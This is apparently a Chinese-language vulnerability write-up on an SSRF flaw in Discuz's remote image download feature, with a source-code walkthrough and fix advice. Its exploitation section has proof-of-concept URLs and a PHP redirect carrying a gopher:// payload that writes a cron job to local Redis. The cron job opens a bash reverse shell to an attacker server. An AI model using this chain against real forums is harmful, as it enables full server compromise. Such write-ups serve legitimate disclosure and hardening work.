Contents
  1. 1. 参考资料
  2. 2. 漏洞poc
  3. 3. 代码分析
  4. 4. 漏洞利用
  5. 5. 补丁分析
  6. 6. 修复方案

参考资料

SSRF到GET SHELL
wooyun:wooyun-2015-0151179

漏洞poc

访问:
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://23.88.58.149/1.jpg[/img]&inajax=1&fid=2&wysiwyg=1&formhash=ead1f9a6

需要带formhash,也可以post方式请求。

discuz有个远程下载图片的功能。虽然有些版本编辑器没有显示远程下载图片的按钮,但是可能也存在这个方法。可以直接通过poc进行验证

可以利用301跳转绕过discuz waf的限制,成为一个无限制的curl ssrf。

代码分析

source/module/forum/forum_ajax.php

374行:

} elseif($_GET['action'] == 'downremoteimg') {
    $_GET['message'] = str_replace(array("\r", "\n"), array($_GET['wysiwyg'] ? '<br />' : '', "\\n"), $_GET['message']);
    preg_match_all("/\[img\]\s*([^\[\<\r\n]+?)\s*\[\/img\]|\[img=\d{1,4}[x|\,]\d{1,4}\]\s*([^\[\<\r\n]+?)\s*\[\/img\]/is", $_GET['message'], $image1, PREG_SET_ORDER);
    preg_match_all("/\<img.+src=('|\"|)?(.*)(\\1)([\s].*)?\>/ismUe", $_GET['message'], $image2, PREG_SET_ORDER);
    $temp = $aids = $existentimg = array();
    if(is_array($image1) && !empty($image1)) {
        foreach($image1 as $value) {
            $temp[] = array(
                '0' => $value[0],
                '1' => trim(!empty($value[1]) ? $value[1] : $value[2])
            );
        }
    }
    if(is_array($image2) && !empty($image2)) {
        foreach($image2 as $value) {
            $temp[] = array(
                '0' => $value[0],
                '1' => trim($value[2])
            );
        }
    }
    require_once libfile('class/image');
    if(is_array($temp) && !empty($temp)) {
        $upload = new discuz_upload();
        $attachaids = array();

        foreach($temp as $value) {
            $imageurl = $value[1];
            $hash = md5($imageurl);
            if(strlen($imageurl)) {
                $imagereplace['oldimageurl'][] = $value[0];
                if(!isset($existentimg[$hash])) {
                    $existentimg[$hash] = $imageurl;
                    $attach['ext'] = $upload->fileext($imageurl);
                    if(!$upload->is_image_ext($attach['ext'])) {
                        continue;
                    }
                    $content = '';
                    if(preg_match('/^(http:\/\/|\.)/i', $imageurl)) {
                        $content = dfsockopen($imageurl);

imageurl最后进入dfsockopen。跟进dfsockopen.

定位到最后发出请求的函数:
source/function/function_filesock.php

function _dfsockopen($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE, $encodetype  = 'URLENCODE', $allowcurl = TRUE, $position = 0, $files = array()) {
    $return = '';
    $matches = parse_url($url);
    $scheme = $matches['scheme'];
    $host = $matches['host'];
    $path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/';
    $port = !empty($matches['port']) ? $matches['port'] : ($scheme == 'http' ? '80' : '');
    $boundary = $encodetype == 'URLENCODE' ? '' : random(40);

    if($post) {
        if(!is_array($post)) {
            parse_str($post, $post);
        }
        _format_postkey($post, $postnew);
        $post = $postnew;
    }
    if(function_exists('curl_init') && function_exists('curl_exec') && $allowcurl) {
        $ch = curl_init();
        $httpheader = array();
        if($ip) {
            $httpheader[] = "Host: ".$host;
        }
        if($httpheader) {
            curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader);
        }
        curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).($port ? ':'.$port : '').$path);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_HEADER, 1);

使用curl来发出http。而curl支持非常多的协议。

漏洞利用

编写一个跳转页面:

<?php  
header("Location: gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/{your_server}/{your_server_listen_port}%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a")
?>

poc:

forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://127.0.0.1:8054/test/301.php?1.jpg[/img]&inajax=1&fid=2&wysiwyg=1&formhash=ead1f9a6&posttime=1476777238&wysiwyg=1&subject=test&unused%5B%5D=1

服务器本地监听6379端口,可以看到gopher协议成功请求。

补丁分析

目前discuz没有修复这个问题。不过经过测试,discuz官方论坛是关闭了这个功能的。

修复方案

1,建议直接关闭远程下载图片这个功能。
2,在_dfsockopen方法内增加

curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); 

将协议限制为http/https可以降低这个SSRF的危害。

Contents
  1. 1. 参考资料
  2. 2. 漏洞poc
  3. 3. 代码分析
  4. 4. 漏洞利用
  5. 5. 补丁分析
  6. 6. 修复方案